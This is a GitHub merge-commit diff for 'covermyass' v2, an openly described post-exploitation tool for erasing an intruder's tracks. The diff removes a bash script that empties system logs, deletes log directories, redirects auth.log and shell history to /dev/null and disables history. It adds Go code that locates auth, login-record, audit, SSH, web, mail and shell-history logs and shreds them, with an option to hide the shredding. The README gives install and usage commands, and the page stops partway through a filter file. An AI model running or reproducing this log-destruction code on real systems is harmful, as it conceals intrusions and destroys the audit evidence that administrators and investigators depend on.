Merge pull request #7 from sundowndev/v2.0-beta1

Implement version 2
pull/9/head v2.0.0-beta3
Raphaël 2022-11-29 16:05:57 +04:00 committed by GitHub
commit c154aa90a7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
41 changed files with 1636 additions and 269 deletions

54
.github/workflows/build.yml vendored Normal file
View File

@ -0,0 +1,54 @@
name: Go build
on:
push:
branches:
- master
pull_request:
jobs:
build:
name: Build
runs-on: ubuntu-latest
steps:
- name: Set up Go
uses: actions/setup-go@v3.2.0
with:
go-version: 1.18.4
id: go
- name: Check out code into the Go module directory
uses: actions/checkout@v3.0.0
- name: Get dependencies
run: |
go get -v -t -d ./...
- name: Enforce Go formatted code
run: |
make fmt
if [[ -z $(git status --porcelain) ]]; then
echo "Git directory is clean."
else
echo "Git directory is dirty. Run make fmt locally and commit any formatting fixes or generated code."
git status --porcelain
exit 1
fi
- name: Install tools
run: make install-tools
- name: Build
run: make build
- name: Lint
run: make lint
- name: Test
run: go test -race -coverprofile=./c.out -covermode=atomic -v ./...
- name: Report code coverage
env:
COVERALLS_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
go install github.com/mattn/goveralls@latest
goveralls -coverprofile=./c.out -service=github

29
.github/workflows/release.yml vendored Normal file
View File

@ -0,0 +1,29 @@
name: release
on:
push:
tags:
- '*'
jobs:
goreleaser:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3.0.0
- name: Unshallow
run: git fetch --prune --unshallow
- name: Set up Go
uses: actions/setup-go@v3.2.0
with:
go-version: 1.18.4
- name: Run GoReleaser
uses: goreleaser/goreleaser-action@v3.0.0
with:
version: v1.12.3
args: release --rm-dist
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

24
.gitignore vendored Normal file
View File

@ -0,0 +1,24 @@
# Binaries for programs and plugins
*.exe
*.exe~
*.dll
*.so
*.dylib
bin/*
!bin/.gitkeep
# Test binary, built with `go test -c`
*.test
# Output of the go coverage tool, specifically when used with LiteIDE
*.out
# Dependency directories (remove the comment below to include it)
# vendor/
.vscode/
.DS_Store
coverage
coverage.*
unit-tests.xml
.idea

37
.goreleaser.yml Normal file
View File

@ -0,0 +1,37 @@
project_name: covermyass
dist: bin
release:
github:
owner: sundowndev
name: covermyass
draft: false
prerelease: auto
before:
hooks:
- go generate ./...
builds:
- id: "covermyass"
binary: covermyass
dir: .
env:
- CGO_ENABLED=0
goos:
- linux
- darwin
#- windows
goarch:
- amd64
- arm
- arm64
- 386
ldflags: "-s -w -X github.com/sundowndev/covermyass/v2/build.version={{.Version}} -X github.com/sundowndev/covermyass/v2/build.commit={{.ShortCommit}}"
archives:
- name_template: '{{ .ProjectName }}_{{ .Os }}_{{ .Arch }}'
format: binary
replacements:
armv6: arm
checksum:
name_template: '{{ .ProjectName }}_SHA256SUMS'
algorithm: sha256
snapshot:
name_template: "{{ .Tag }}-next"

View File

@ -1,9 +0,0 @@
os: linux
before_script:
- shellcheck ./covermyass
- sudo cp covermyass /usr/bin/covermyass
- sudo chmod +x /usr/bin/covermyass
script:
- sudo covermyass now

1
CODEOWNERS Normal file
View File

@ -0,0 +1 @@
* @sundowndev

View File

@ -1,6 +1,6 @@
MIT License
Copyright (c) 2020 Raphaël Cerveaux
Copyright (c) 2022 Raphaël Cerveaux
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal

62
Makefile Normal file
View File

@ -0,0 +1,62 @@
# Use bash syntax
SHELL=/bin/bash
# Go parameters
GOCMD=go
GOBINPATH=$(shell $(GOCMD) env GOPATH)/bin
GOMOD=$(GOCMD) mod
GOBUILD=$(GOCMD) build
GOCLEAN=$(GOCMD) clean
GOTEST=gotestsum
GOGET=$(GOCMD) get
GOINSTALL=$(GOCMD) install
GOTOOL=$(GOCMD) tool
GOFMT=$(GOCMD) fmt
GIT_TAG=$(shell git describe --abbrev=0 --tags)
GIT_COMMIT=$(shell git rev-parse --short HEAD)
.PHONY: FORCE
.PHONY: all
all: fmt lint test build go.mod
.PHONY: build
build:
go generate ./...
go build -v -ldflags="-s -w -X 'github.com/sundowndev/covermyass/v2/build.version=${GIT_TAG}' -X 'github.com/sundowndev/covermyass/v2/build.commit=${GIT_COMMIT}'" -o ./bin/covermyass .
.PHONY: test
test:
$(GOTEST) --format testname --junitfile unit-tests.xml -- -mod=readonly -race -coverprofile=./c.out -covermode=atomic -coverpkg=.,./... ./...
.PHONY: coverage
coverage: test
$(GOTOOL) cover -func=cover.out
.PHONY: mocks
mocks:
rm -rf mocks
mockery --all
.PHONY: fmt
fmt:
$(GOFMT) ./...
.PHONY: clean
clean:
$(GOCLEAN)
rm -f bin/*
.PHONY: lint
lint:
@which golangci-lint > /dev/null 2>&1 || (curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | bash -s -- -b $(GOBINPATH) v1.50.1)
golangci-lint run -v --timeout=10m
.PHONY: install-tools
install-tools:
$(GOINSTALL) gotest.tools/gotestsum@v1.6.3
$(GOINSTALL) github.com/vektra/mockery/v2@v2.8.0
go.mod: FORCE
$(GOMOD) tidy
$(GOMOD) verify
go.sum: go.mod

128
README.md
View File

@ -1,97 +1,73 @@
# Covermyass
## *covermyass* ##
[![Build status](https://img.shields.io/travis/sundowndev/covermyass/master.svg?style=flat-square)](https://travis-ci.org/sundowndev/covermyass/builds)
[![Tag](https://img.shields.io/github/tag/SundownDEV/covermyass.svg?style=flat-square)](https://github.com/sundowndev/covermyass/releases)
[![Build status](https://github.com/sundowndev/covermyass/workflows/Go%20build/badge.svg)](https://github.com/sundowndev/covermyass/actions)
[![Tag](https://img.shields.io/github/tag/SundownDEV/covermyass.svg)](https://github.com/sundowndev/covermyass/releases)
**⚠️ This tool is unmaintained**
### About ###
### About
**Covermyass** is a post-exploitation tool to cover your tracks on various operating systems (Linux, Darwin, Windows, ...). It was designed for penetration testing "covering tracks" phase, before exiting the infected server. At any time, you can run the tool to find which log files exists on the system, then run again later to erase those files. The tool will tell you which file can be erased with the current user permissions. Files are overwritten repeatedly with random data, in order to make it harder for even very expensive hardware probing to recover the data.
Shell script to cover your tracks on UNIX systems. Designed for pen testing "covering tracks" phase, before exiting the infected server. Or, permanently disable system logs for post-exploitation.
### Current status ###
This tool allows you to clear log files such as :
This tool is still in beta. Upcoming versions might bring breaking changes. For now, we're focusing Linux and Darwin support, Windows may come later.
### Installation ###
Download the latest release :
```bash
# Linux
/var/log/messages # General message and system related stuff
/var/log/auth.log # Authenication logs
/var/log/kern.log # Kernel logs
/var/log/cron.log # Crond logs
/var/log/maillog # Mail server logs
/var/log/boot.log # System boot log
/var/log/mysqld.log # MySQL database server log file
/var/log/qmail # Qmail log directory
/var/log/httpd # Apache access and error logs directory
/var/log/lighttpd # Lighttpd access and error logs directory
/var/log/secure # Authentication log
/var/log/utmp # Login records file
/var/log/wtmp # Login records file
/var/log/yum.log # Yum command log file
# macOS
/var/log/system.log # System Log
/var/log/DiagnosticMessages # Mac Analytics Data
/Library/Logs # System Application Logs
/Library/Logs/DiagnosticReports # System Reports
~/Library/Logs # User Application Logs
~/Library/Logs/DiagnosticReports # User Reports
curl -sSL https://github.com/sundowndev/covermyass/releases/latest/download/covermyass_linux_amd64 -o ./covermyass
chmod +x ./covermyass
```
## Installation
With sudo
```bash
sudo curl -sSL https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass -o /usr/bin/covermyass
sudo chmod +x /usr/bin/covermyass
```
Without sudo :
```bash
curl -sSL https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass -o ~/.local/bin/covermyass
chmod +x ~/.local/bin/covermyass
```
You can now use the tool using the executable.
Keep in mind that without sudo privileges, you *might* be unable to clear system-level log files (`/var/log`).
## Usage
Simply type :
### Usage ###
```
covermyass # you may need to use sudo if you want to clean auth logs
```
$ covermyass -h
Follow the instructions :
Usage:
covermyass [flags]
Examples:
Overwrite log files as well as those found by path /db/*.log
covermyass --write -p /db/*.log
Overwrite log files 5 times with a final overwrite with zeros to hide shredding
covermyass --write -z -n 5
Flags:
-f, --filter strings File paths to ignore (supports glob patterns)
-h, --help help for covermyass
-n, --iterations int Overwrite N times instead of the default (default 3)
-l, --list Show files in a simple list format. This will prevent any write operation
--no-read-only Exclude read-only files in the list. Must be used with --list
-v, --version version for covermyass
--write Erase found log files. This WILL shred the files!
-z, --zero Add a final overwrite with zeros to hide shredding
```
Welcome to Cover my ass tool !
Select an option :
1) Clear logs for user root
2) Permenently disable auth & bash history
3) Restore settings to default
99) Exit tool
>
```
*NOTE: don't forget to exit the terminal session since the bash history is cached.*
Clear logs instantly (requires *sudo* to be efficient) :
First, run an analysis. This will not erase anything.
```
sudo covermyass now
covermyass
```
### Using cron job
When you acknowledged the results, erase those files.
Clear bash history every day at 5am :
```bash
0 5 * * * covermyass now >/dev/null 2>&1
```
covermyass --write
```
Filter out some paths :
```
covermyass -f '/foo/bar/*.log'
covermyass -f '/foo/bar.log'
```
### License ###
**covermyass** is licensed under the MIT license. Refer to [LICENSE](LICENSE) for more information.

0
bin/.gitkeep Normal file
View File

21
build/build.go Normal file
View File

@ -0,0 +1,21 @@
package build
import (
"fmt"
"runtime"
)
var version = "dev"
var commit = "dev"
func Name() string {
return fmt.Sprintf("%s-%s", version, commit)
}
func String() string {
return fmt.Sprintf("%s (%s)", Name(), runtime.Version())
}
func IsRelease() bool {
return Name() != "dev-dev"
}

33
build/build_test.go Normal file
View File

@ -0,0 +1,33 @@
package build
import (
"fmt"
"github.com/stretchr/testify/assert"
"runtime"
"testing"
)
func TestBuild(t *testing.T) {
t.Run("version and commit default values", func(t *testing.T) {
assert.Equal(t, "dev", version)
assert.Equal(t, "dev", commit)
assert.Equal(t, false, IsRelease())
assert.Equal(t, "dev-dev", Name())
})
t.Run("version and commit default values", func(t *testing.T) {
version = "v2.4.4"
commit = "0ba854f"
assert.Equal(t, true, IsRelease())
assert.Equal(t, "v2.4.4-0ba854f", Name())
// Reset values
version = "dev"
commit = "dev"
})
t.Run("version and commit with Go version", func(t *testing.T) {
assert.Equal(t, false, IsRelease())
assert.Equal(t, fmt.Sprintf("dev-dev (%s)", runtime.Version()), String())
})
}

99
cmd/root.go Normal file
View File

@ -0,0 +1,99 @@
package cmd
import (
"fmt"
"github.com/sirupsen/logrus"
"github.com/spf13/cobra"
"github.com/sundowndev/covermyass/v2/build"
"github.com/sundowndev/covermyass/v2/lib/analysis"
"github.com/sundowndev/covermyass/v2/lib/filter"
"github.com/sundowndev/covermyass/v2/lib/output"
"github.com/sundowndev/covermyass/v2/lib/shred"
"os"
)
type RootCmdOptions struct {
List bool
ExcludeReadOnly bool
Write bool
Zero bool
Iterations int
//ExtraPaths []string
FilterRules []string
}
func NewRootCmd() *cobra.Command {
opts := &RootCmdOptions{}
cmd := &cobra.Command{
Use: "covermyass",
Short: "Post-exploitation tool for covering tracks on Linux, Darwin and Windows.",
Long: "Covermyass is a post-exploitation tool for pen-testers that finds then erases log files on the current machine. The tool scans the filesystem and look for known log files that can be erased. Files are overwritten multiple times with random data, in order to make it harder for even very expensive hardware probing to recover the data. Running this tool with root privileges is safe and even recommended to avoid access permission errors. This tool does not perform any network call.",
Example: `
Overwrite log files as well as those found by path /db/*.log
covermyass --write -p /db/*.log
Overwrite log files 5 times with a final overwrite with zeros to hide shredding
covermyass --write -z -n 5
`,
Version: build.String(),
RunE: func(cmd *cobra.Command, args []string) error {
if opts.List {
opts.Write = false
} else {
output.ChangePrinter(output.NewConsolePrinter())
}
filterEngine := filter.NewEngine()
err := filterEngine.AddRule(opts.FilterRules...)
if err != nil {
return err
}
analyzer := analysis.NewAnalyzer(filterEngine)
a, err := analyzer.Analyze()
if err != nil {
return err
}
if opts.List {
for _, result := range a.Results() {
if opts.ExcludeReadOnly && result.ReadOnly {
continue
}
fmt.Println(result.Path)
}
return nil
}
a.Write(os.Stdout)
if opts.Write {
shredOptions := &shred.ShredderOptions{
Zero: opts.Zero,
Iterations: opts.Iterations,
}
s := shred.New(shredOptions)
for _, result := range a.Results() {
logrus.
WithField("path", result.Path).
Debug("Shredding file")
if err := s.Write(result.Path); err != nil {
return fmt.Errorf("error writing file %s: %s", result.Path, err)
}
}
output.Printf("\nShredded %d files %d times\n", len(a.Results()), opts.Iterations)
}
return nil
},
}
cmd.PersistentFlags().BoolVarP(&opts.List, "list", "l", false, "Show files in a simple list format. This will prevent any write operation")
cmd.PersistentFlags().BoolVar(&opts.Write, "write", false, "Erase found log files. This WILL shred the files!")
cmd.PersistentFlags().BoolVar(&opts.ExcludeReadOnly, "no-read-only", false, "Exclude read-only files in the list. Must be used with --list")
cmd.PersistentFlags().BoolVarP(&opts.Zero, "zero", "z", false, "Add a final overwrite with zeros to hide shredding")
cmd.PersistentFlags().IntVarP(&opts.Iterations, "iterations", "n", 3, "Overwrite N times instead of the default")
cmd.PersistentFlags().StringSliceVarP(&opts.FilterRules, "filter", "f", []string{}, "File paths to ignore (supports glob patterns)")
return cmd
}

View File

@ -1,183 +0,0 @@
#!/usr/bin/env bash
LOGS_FILES=(
/var/log/messages # General message and system related stuff
/var/log/auth.log # Authenication logs
/var/log/kern.log # Kernel logs
/var/log/cron.log # Crond logs
/var/log/maillog # Mail server logs
/var/log/boot.log # System boot log
/var/log/mysqld.log # MySQL database server log file
/var/log/qmail # Qmail log directory
/var/log/httpd # Apache access and error logs directory
/var/log/lighttpd # Lighttpd access and error logs directory
/var/log/secure # Authentication log
/var/log/utmp # Login records file
/var/log/wtmp # Login records file
/var/log/yum.log # Yum command log file
/var/log/system.log # System Log
/var/log/DiagnosticMessages # Mac Analytics Data
/Library/Logs # System Application Logs
/Library/Logs/DiagnosticReports # System Reports
~/Library/Logs # User Application Logs
~/Library/Logs/DiagnosticReports # User Reports
)
function isRoot () {
if [ "$EUID" -ne 0 ]; then
return 1
fi
}
function menu () {
echo
echo "Welcome to Cover my ass tool !"
echo
echo "Select an option :"
echo
echo "1) Clear logs for user $USER"
echo "2) Permenently disable auth & bash history"
echo "3) Restore settings to default"
echo "99) Exit tool"
echo
printf "> "
read -r option
echo
}
function disableAuth () {
if [ -w /var/log/auth.log ]; then
ln /dev/null /var/log/auth.log -sf
echo "[+] Permanently sending /var/log/auth.log to /dev/null"
else
echo "[!] /var/log/auth.log is not writable! Retry using sudo."
fi
}
function disableHistory () {
ln /dev/null ~/.bash_history -sf
echo "[+] Permanently sending bash_history to /dev/null"
if [ -f ~/.zsh_history ]; then
ln /dev/null ~/.zsh_history -sf
echo "[+] Permanently sending zsh_history to /dev/null"
fi
export HISTFILESIZE=0
export HISTSIZE=0
echo "[+] Set HISTFILESIZE & HISTSIZE to 0"
set +o history
echo "[+] Disabled history library"
echo
echo "Permenently disabled bash log."
}
function enableAuth () {
if [ -w /var/log/auth.log ] && [ -L /var/log/auth.log ]; then
rm -rf /var/log/auth.log
echo "" > /var/log/auth.log
echo "[+] Disabled sending auth logs to /dev/null"
else
echo "[!] /var/log/auth.log is not writable! Retry using sudo."
fi
}
function enableHistory () {
if [[ -L ~/.bash_history ]]; then
rm -rf ~/.bash_history
echo "" > ~/.bash_history
echo "[+] Disabled sending history to /dev/null"
fi
if [[ -L ~/.zsh_history ]]; then
rm -rf ~/.zsh_history
echo "" > ~/.zsh_history
echo "[+] Disabled sending zsh history to /dev/null"
fi
export HISTFILESIZE=""
export HISTSIZE=50000
echo "[+] Restore HISTFILESIZE & HISTSIZE default values."
set -o history
echo "[+] Enabled history library"
echo
echo "Permenently enabled bash log."
}
function clearLogs () {
for i in "${LOGS_FILES[@]}"
do
if [ -f "$i" ]; then
if [ -w "$i" ]; then
echo "" > "$i"
echo "[+] $i cleaned."
else
echo "[!] $i is not writable! Retry using sudo."
fi
elif [ -d "$i" ]; then
if [ -w "$i" ]; then
rm -rf "${i:?}"/*
echo "[+] $i cleaned."
else
echo "[!] $i is not writable! Retry using sudo."
fi
fi
done
}
function clearHistory () {
if [ -f ~/.zsh_history ]; then
echo "" > ~/.zsh_history
echo "[+] ~/.zsh_history cleaned."
fi
echo "" > ~/.bash_history
echo "[+] ~/.bash_history cleaned."
history -c
echo "[+] History file deleted."
echo
echo "Reminder: your need to reload the session to see effects."
echo "Type exit to do so."
}
function exitTool () {
exit 1
}
clear # Clear output
# "now" option
if [ -n "$1" ] && [ "$1" == 'now' ]; then
clearLogs
clearHistory
exit 0
fi
menu
if [[ $option == 1 ]]; then
# Clear logs & current history
clearLogs
clearHistory
elif [[ $option == 2 ]]; then
# Permenently disable auth & bash log
disableAuth
disableHistory
elif [[ $option == 3 ]]; then
# Restore default settings
enableAuth
enableHistory
elif [[ $option == 99 ]]; then
# Exit tool
exitTool
else
echo "[!] Option not reconized. Exiting."
fi

20
go.mod Normal file
View File

@ -0,0 +1,20 @@
module github.com/sundowndev/covermyass/v2
go 1.18
require (
github.com/bmatcuk/doublestar/v4 v4.2.0
github.com/sirupsen/logrus v1.9.0
github.com/spf13/cobra v1.6.0
github.com/stretchr/testify v1.8.1
)
require (
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/inconshreveable/mousetrap v1.0.1 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/stretchr/objx v0.5.0 // indirect
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
)

33
go.sum Normal file
View File

@ -0,0 +1,33 @@
github.com/bmatcuk/doublestar/v4 v4.2.0 h1:Qu+u9wR3Vd89LnlLMHvnZ5coJMWKQamqdz9/p5GNthA=
github.com/bmatcuk/doublestar/v4 v4.2.0/go.mod h1:xBQ8jztBU6kakFMg+8WGxn0c6z1fTSPVIjEY1Wr7jzc=
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc=
github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/spf13/cobra v1.6.0 h1:42a0n6jwCot1pUmomAp4T7DeMD+20LFv4Q54pxLf2LI=
github.com/spf13/cobra v1.6.0/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0 h1:1zr/of2m5FGMsad5YfcqgdqdWrIhu+EBEJRhR1U7z/c=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk=
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8 h1:0A+M6Uqn+Eje4kHMK80dtF3JCXC4ykBgQG4Fe06QRhQ=
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

70
lib/analysis/analysis.go Normal file
View File

@ -0,0 +1,70 @@
package analysis
import (
"fmt"
"github.com/sundowndev/covermyass/v2/lib/check"
"io"
"os"
"time"
)
type Summary struct {
TotalFiles int
TotalRWFiles int
}
type Result struct {
Check check.Check
Path string
Size int64
Mode os.FileMode
ReadOnly bool
}
type Analysis struct {
Date time.Time
summary Summary
patterns []string
results []Result
}
func NewAnalysis() *Analysis {
return &Analysis{
Date: time.Now(),
summary: Summary{},
patterns: []string{},
results: []Result{},
}
}
func (a *Analysis) AddResult(result Result) {
a.results = append(a.results, result)
a.summary.TotalFiles += 1
if !result.ReadOnly {
a.summary.TotalRWFiles += 1
}
}
func (a *Analysis) Results() []Result {
return a.results
}
func (a *Analysis) Write(w io.Writer) {
if len(a.results) > 0 {
_, _ = fmt.Fprintf(w, "Found the following files\n")
for _, res := range a.results {
_, _ = fmt.Fprintf(w, "%s (%s, %s)\n", res.Path, byteCountSI(res.Size), res.Mode.String())
}
_, _ = fmt.Fprintf(w, "\n")
}
_, _ = fmt.Fprintf(
w,
"Summary\nFound %d files (%d read-write, %d read-only) in %s\n",
a.summary.TotalFiles,
a.summary.TotalRWFiles,
a.summary.TotalFiles-a.summary.TotalRWFiles,
time.Since(a.Date).Round(time.Millisecond).String(),
)
}

64
lib/analysis/analyzer.go Normal file
View File

@ -0,0 +1,64 @@
package analysis
import (
"context"
"github.com/sirupsen/logrus"
"github.com/sundowndev/covermyass/v2/lib/check"
"github.com/sundowndev/covermyass/v2/lib/filter"
"github.com/sundowndev/covermyass/v2/lib/find"
"github.com/sundowndev/covermyass/v2/lib/output"
"os"
"runtime"
"sync"
)
type Analyzer struct {
filter filter.Filter
}
func NewAnalyzer(filterEngine filter.Filter) *Analyzer {
return &Analyzer{filterEngine}
}
func (a *Analyzer) Analyze() (*Analysis, error) {
analysis := NewAnalysis()
output.Printf("Loaded known log files for %s\n", runtime.GOOS)
output.Printf("Scanning file system...\n\n")
wg := &sync.WaitGroup{}
m := &sync.Mutex{}
for _, c := range check.GetAllChecks() {
wg.Add(1)
go func(c check.Check) {
finder := find.New(os.DirFS(""), a.filter)
results, err := finder.Run(context.TODO(), c.Paths())
if err != nil {
logrus.Error(err)
return
}
m.Lock()
defer m.Unlock()
for _, info := range results {
if a.filter.Match(info.Path()) {
continue
}
analysis.AddResult(Result{
Check: c,
Path: info.Path(),
Size: info.Size(),
Mode: info.Mode(),
ReadOnly: info.ReadOnly(),
})
}
wg.Done()
}(c)
}
wg.Wait()
return analysis, nil
}

17
lib/analysis/utils.go Normal file
View File

@ -0,0 +1,17 @@
package analysis
import "fmt"
func byteCountSI(b int64) string {
const unit = 1000
if b < unit {
return fmt.Sprintf("%d B", b)
}
div, exp := int64(unit), 0
for n := b / unit; n >= unit; n /= unit {
div *= unit
exp++
}
return fmt.Sprintf("%.1f %cB",
float64(b)/float64(div), "kMGTPE"[exp])
}

View File

@ -0,0 +1,26 @@
package analysis
import (
"fmt"
"github.com/stretchr/testify/assert"
"testing"
)
func Test_byteCountSI(t *testing.T) {
testcases := map[int64]string{
0: "0 B",
1: "1 B",
10000: "10.0 kB",
22736526: "22.7 MB",
2123652683: "2.1 GB",
2123652683000: "2.1 TB",
2123652683000000: "2.1 PB",
2123652683000000000: "2.1 EB",
}
for v, expected := range testcases {
t.Run(fmt.Sprintf("test with input %d", v), func(t *testing.T) {
assert.Equal(t, expected, byteCountSI(v))
})
}
}

16
lib/check/checks.go Normal file
View File

@ -0,0 +1,16 @@
package check
var checks []Check
type Check interface {
Name() string
Paths() []string
}
func GetAllChecks() []Check {
return checks
}
func AddCheck(s Check) {
checks = append(checks, s)
}

View File

@ -0,0 +1,24 @@
//go:build !windows
package check
type databaseServerCheck struct{}
func NewDatabaseServerCheck() Check {
return &databaseServerCheck{}
}
func (s *databaseServerCheck) Name() string {
return "database-server"
}
func (s *databaseServerCheck) Paths() []string {
return []string{
"/var/log/mysqld.log",
"/var/log/mysql.log",
}
}
func init() {
AddCheck(NewDatabaseServerCheck())
}

26
lib/check/ftp_check.go Normal file
View File

@ -0,0 +1,26 @@
//go:build !windows
package check
type ftpCheck struct{}
func NewFTPCheck() Check {
return &ftpCheck{}
}
func (s *ftpCheck) Name() string {
return "ftp"
}
func (s *ftpCheck) Paths() []string {
return []string{
"/usr/local/psa/var/log/xferlog*",
"/var/log/xferlog*",
"/var/log/secure*",
"/var/log/pureftp.log*",
}
}
func init() {
AddCheck(NewFTPCheck())
}

View File

@ -0,0 +1,28 @@
//go:build !windows
package check
type httpServerCheck struct{}
func NewHTTPServerCheck() Check {
return &httpServerCheck{}
}
func (s *httpServerCheck) Name() string {
return "http-server"
}
func (s *httpServerCheck) Paths() []string {
return []string{
"/var/log/apache2/access.log*",
"/var/log/apache2/error_log*",
"/var/log/httpd*",
"/var/log/apache/access.log*",
"/var/log/apache/error.log*",
"/var/log/nginx/*.log*",
}
}
func init() {
AddCheck(NewHTTPServerCheck())
}

24
lib/check/mail_check.go Normal file
View File

@ -0,0 +1,24 @@
//go:build !windows
package check
type mailCheck struct{}
func NewMailCheck() Check {
return &mailCheck{}
}
func (s *mailCheck) Name() string {
return "mail"
}
func (s *mailCheck) Paths() []string {
return []string{
"/usr/local/psa/var/log/maillog*",
"/var/log/maillog*",
}
}
func init() {
AddCheck(NewMailCheck())
}

View File

@ -0,0 +1,35 @@
package check
import (
"fmt"
"github.com/sirupsen/logrus"
"os"
)
type shellHistoryCheck struct{}
func NewShellHistoryCheck() Check {
return &shellHistoryCheck{}
}
func (s *shellHistoryCheck) Name() string {
return "shell_history"
}
func (s *shellHistoryCheck) Paths() []string {
homeDir, err := os.UserHomeDir()
if err != nil {
logrus.Error(err)
return []string{}
}
return []string{
fmt.Sprintf("%s/.bash_history", homeDir),
fmt.Sprintf("%s/.zsh_history", homeDir),
fmt.Sprintf("%s/.node_repl_history", homeDir),
fmt.Sprintf("%s/.python_history", homeDir),
}
}
func init() {
AddCheck(NewShellHistoryCheck())
}

23
lib/check/sshd_check.go Normal file
View File

@ -0,0 +1,23 @@
//go:build !windows
package check
type sshdCheck struct{}
func NewSSHdCheck() Check {
return &sshdCheck{}
}
func (s *sshdCheck) Name() string {
return "sshd"
}
func (s *sshdCheck) Paths() []string {
return []string{
"/var/log/sshd.log",
}
}
func init() {
AddCheck(NewSSHdCheck())
}

38
lib/check/system_check.go Normal file
View File

@ -0,0 +1,38 @@
//go:build !windows
package check
type systemCheck struct{}
func NewSystemCheck() Check {
return &systemCheck{}
}
func (s *systemCheck) Name() string {
return "system"
}
func (s *systemCheck) Paths() []string {
return []string{
"/var/log/lastlog",
"/var/log/boot.log*",
"/var/log/auth.log*",
"/var/log/daemon.log*",
"/var/log/kern.log*",
"/var/log/boot.log*",
"/var/log/syslog*",
"/var/log/mail.log*",
"/var/log/messages*",
"/var/log/secure*",
"/var/log/btmp*",
"/var/log/utmp*",
"/var/log/wtmp*",
"/var/log/faillog",
"/var/log/audit/*.log*",
"/var/log/dmesg",
}
}
func init() {
AddCheck(NewSystemCheck())
}

45
lib/filter/filter.go Normal file
View File

@ -0,0 +1,45 @@
package filter
import (
"fmt"
"github.com/bmatcuk/doublestar/v4"
"github.com/sirupsen/logrus"
)
type Filter interface {
Match(string) bool
}
type Engine struct {
rules []string
}
func NewEngine() *Engine {
return &Engine{}
}
func (e *Engine) AddRule(patterns ...string) error {
for _, rule := range patterns {
if !doublestar.ValidatePathPattern(rule) {
return fmt.Errorf("invalid pattern: %s", rule)
}
}
e.rules = append(e.rules, patterns...)
return nil
}
func (e *Engine) Match(r string) bool {
for _, rule := range e.rules {
if rule == r {
return true
}
ok, err := doublestar.PathMatch(rule, r)
